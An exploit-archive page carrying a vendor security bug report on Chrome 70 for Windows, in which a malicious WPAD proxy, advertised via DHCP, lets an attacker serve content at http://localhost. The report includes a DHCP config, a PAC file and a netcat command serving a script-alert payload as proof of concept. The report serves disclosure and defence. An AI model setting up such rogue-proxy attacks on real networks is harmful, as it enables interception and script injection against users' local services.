exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Google Chrome 70.0.3538.77 Cross Site Scripting / Man-In-The-Middle

Google Chrome 70.0.3538.77 Cross Site Scripting / Man-In-The-Middle
Posted Dec 11, 2018
Authored by Jann Horn, Google Security Research

Google Chrome version 70.0.3538.77 stable suffers from cross site scripting and man-in-the-middle vulnerabilities.

tags | exploit, vulnerability, xss
SHA-256 | 686c99bbb6418cc295a5495417a100d2846c41c5d5fb214b782fedc9a5df70c9

Google Chrome 70.0.3538.77 Cross Site Scripting / Man-In-The-Middle

Change Mirror Download
Chrome: malicious WPAD server can proxy localhost (leading to XSS in http://localhost:*/*) 




VERSION
Chrome Version: 70.0.3538.77 stable
Operating System: Windows 10 (version 1803)


When Chrome is installed on Windows and the user joins a malicious network that advertises a WPAD script (e.g. via DHCP), Chrome will fetch the WPAD script from the specified URL and use it for proxying decisions. In particular, for requests to http:// origins, the request is simply sent to the proxy instead. This is normally acceptable because if the network is malicious, an attacker could also perform a man-in-the-middle attack against any HTTP request.

However, localhost should be special. There are applications that bind a web server to localhost and then use "Host" header checks to prevent DNS rebinding attacks. Such applications need to be protected from malicious outside traffic even if the network is malicious. Currently, Chrome does not special-case localhost in proxying decisions; this means that an attacker can abuse WPAD to gain the ability to serve attacker-controlled content at http://localhost:*/* , at which point the attacker should be able to perform same-origin XHR to http://localhost:*/* (e.g. by letting the PAC file specify "DIRECT" as fallback if the proxy goes down).

I have tested that I can serve an attacker-controlled HTML file under the <a href="http://localhost/" title="" class="" rel="nofollow">http://localhost/</a> origin to Chrome in a VM with Windows 10.


=== repro steps ===
1. Set up a Windows 10 VM that is connected to a network bridge, without using a DHCP server integrated into the VM software.
2. Set up a DHCP server with a config that contains something like this:

option domain-name-servers 8.8.8.8;
option wpad-url code 252 = text;
subnet 192.168.250.0 netmask 255.255.255.0 {
range 192.168.250.100 192.168.250.200;
option routers 192.168.250.1;
option wpad-url "http://192.168.250.1:8080/proxy.pac";
}

3. Set up an HTTP server (e.g. with "python -m SimpleHTTPServer 8080") that serves the following file as proxy.pac on port 8080:

function FindProxyForURL(url, host) {
if (dnsDomainIs(host, "localhost")) {
return "PROXY 192.168.250.1:8081";
} else {
return "DIRECT";
}
}

4. Set up some sort of HTTP server that can serve HTTP traffic on port 8081 and doesn't get confused by the weird HTTP request of a proxy connection too much. netcat is easy to use for this, thanks to HTTP/0.9 (but note that this will be a one-shot server):

$ echo '<script>alert("hello from "+document.location)</script>' | nc -vlp 8081
Listening on [0.0.0.0] (family 0, port 8081)

5. Restart the VM's network connectivity and restart Chrome.
6. Navigate to <a href="http://localhost/" title="" class="" rel="nofollow">http://localhost/</a>.


=== Expected result ===
Chrome should connect to localhost directly and ignore the proxy.


=== Actual result ===
Chrome shows an alert box saying "hello from http://localhost", and netcat shows a request like this:

Connection from 192.168.250.105 51278 received!
GET <a href="http://localhost/" title="" class="" rel="nofollow">http://localhost/</a> HTTP/1.1
Host: localhost
Proxy-Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.



Found by: jannh

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close